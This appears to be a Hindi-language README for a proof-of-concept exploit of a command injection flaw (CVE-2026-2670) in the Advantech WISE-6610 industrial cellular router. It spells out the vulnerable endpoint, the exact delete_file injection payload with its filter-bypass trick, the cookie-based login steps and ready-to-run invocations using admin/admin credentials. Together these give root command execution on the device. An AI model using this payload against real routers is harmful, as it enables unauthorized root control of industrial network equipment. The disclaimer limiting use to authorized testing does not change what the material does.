
CVE-2026-2670 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Advantech WISE-6610 राउटर में एक कमांड इंजेक्शन भेद्यता है, जो प्रमाणित हमलावरों को रूट विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति देता है।
Advantech WISE-6610 औद्योगिक सेलुलर राउटर में कमांड इंजेक्शन भेद्यता प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट।
यह भेद्यता /cgi-bin/luci/admin/openvpn_apply एंडपॉइंट में मौजूद है और एक प्रमाणित हमलावर को मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देता है।
WISE-6610 वेब इंटरफ़ेस OpenVPN कॉन्फ़िगरेशन विलोपन को संसाधित करते समय delete_file पैरामीटर को ठीक से सैनिटाइज़ नहीं करता है।
वैध क्रेडेंशियल वाला हमलावर पाइप (|) के बाद एक कमांड और समाप्ति echo$(IFS) अनुक्रम का उपयोग करके इनपुट फ़िल्टरिंग को बायपास करने के लिए शेल कमांड इंजेक्ट कर सकता है।
इंजेक्ट किए गए कमांड रूट विशेषाधिकारों के साथ निष्पादित होते हैं।
requests लाइब्रेरीनिर्भरताएँ स्थापित करें:
pip install requests
विकल्प विवरण
--target डिवाइस का बेस URL (जैसे, http://192.168.1.100:8444)
--cmd निष्पादित करने के लिए कमांड। आउटपुट को वेब रूट के अंदर एक फ़ाइल में लिखना चाहिए (जैसे, id > output.txt)
--output आउटपुट फ़ाइल का वेब पथ (जैसे, /output.txt)। --cmd में उपयोग किए गए फ़ाइलनाम से मेल खाना चाहिए
--cookie (वैकल्पिक) मौजूदा sysauth सत्र कुकी मान
--username (वैकल्पिक) लॉगिन के लिए उपयोगकर्ता नाम
--password (वैकल्पिक) लॉगिन के लिए पासवर्ड
--delay आउटपुट प्राप्त करने से पहले प्रतीक्षा करने के लिए सेकंड (डिफ़ॉल्ट: 2)
--debug विस्तृत अनुरोध/प्रतिक्रिया लॉगिंग सक्षम करें
स्क्रिप्ट दो प्रमाणीकरण विधियों का समर्थन करती है:
मौजूदा sysauth सत्र कुकी प्रदान करना
उपयोगकर्ता नाम और पासवर्ड के साथ लॉगिन करना
मूल सिंटैक्स
python3 exploit.py --target <URL> --cmd <COMMAND> --output <OUTPUT_PATH> \
[--cookie <SYSCOOKIE> | --username <USER> --password <PASS>] \
[--delay <SECONDS>] [--debug]
1️⃣ प्री-ऑथेंटिकेटेड कुकी का उपयोग करना
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ क्रेडेंशियल के साथ लॉगिन करना
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ डीबग आउटपुट के साथ
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
प्रमाणीकरण के लिए आवश्यक luci_nonce कुकी प्राप्त करने के लिए /cgi-bin/luci/ पर एक GET अनुरोध भेजा जाता है।
यदि क्रेडेंशियल प्रदान किए गए हैं, तो स्क्रिप्ट sysauth कुकी प्राप्त करने के लिए luci_username और luci_password के साथ /cgi-bin/luci/ पर एक POST अनुरोध भेजती है।
यदि --cookie के माध्यम से एक वैध कुकी प्रदान की जाती है, तो यह चरण छोड़ दिया जाता है।
एक POST अनुरोध भेजा जाता है:
/cgi-bin/luci/admin/openvpn_apply
निम्नलिखित पैरामीटर के साथ:
act=delete
delete_file=123123|<command> echo$(IFS)
openvpn_id=1
echo$(IFS) अनुक्रम इंजेक्ट किए गए कमांड को समाप्त करने और इनपुट फ़िल्टर को बायपास करने में मदद करता है।
थोड़ी देरी के बाद, स्क्रिप्ट निर्दिष्ट --output पथ से उत्पन्न फ़ाइल को प्राप्त करने का प्रयास करती है।
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है, अवैध है।
लेखक इस सॉफ़्टवेयर के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानते हैं।